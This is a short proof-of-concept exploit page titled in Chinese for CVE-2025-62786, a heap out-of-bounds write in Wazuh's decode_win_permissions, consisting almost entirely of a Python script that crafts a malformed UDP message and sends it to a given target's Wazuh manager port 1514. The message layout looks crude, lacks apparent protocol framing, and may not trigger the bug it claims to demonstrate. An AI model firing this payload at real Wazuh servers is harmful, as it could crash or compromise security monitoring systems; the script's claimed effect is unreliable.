CVE-2025-62786 Wazuh decode_win_permissions堆越界写漏洞

// CVE-2025-62786 PoC - Malicious Wazuh Agent Message // This PoC demonstrates the heap-based buffer overflow in decode_win_permissions import struct import socket def create_malicious_message(): """ Create a malicious Wazuh agent message that triggers the vulnerability """ # Wazuh message header msg_size = 1024 # Malformed Windows permissions that trigger out-of-bounds write # The vulnerability occurs when decoding Windows ACL permissions malicious_payload = b'A' * 512 # Padding # Craft specific Windows permission data that causes NULL byte write # before the allocated buffer in decode_win_permissions win_perms = b'\x00\x00' + b'\xff' * 100 message = struct.pack('<I', msg_size) # Message size message += malicious_payload + win_perms return message def send_exploit(target_ip, target_port=1514): """ Send the malicious message to Wazuh manager """ try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) payload = create_malicious_message() sock.sendto(payload, (target_ip, target_port)) print(f'[+] Malicious message sent to {target_ip}:{target_port}') print(f'[+] Message size: {len(payload)} bytes') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python cve_2025_62786_poc.py <target_ip>') sys.exit(1) target = sys.argv[1] send_exploit(target)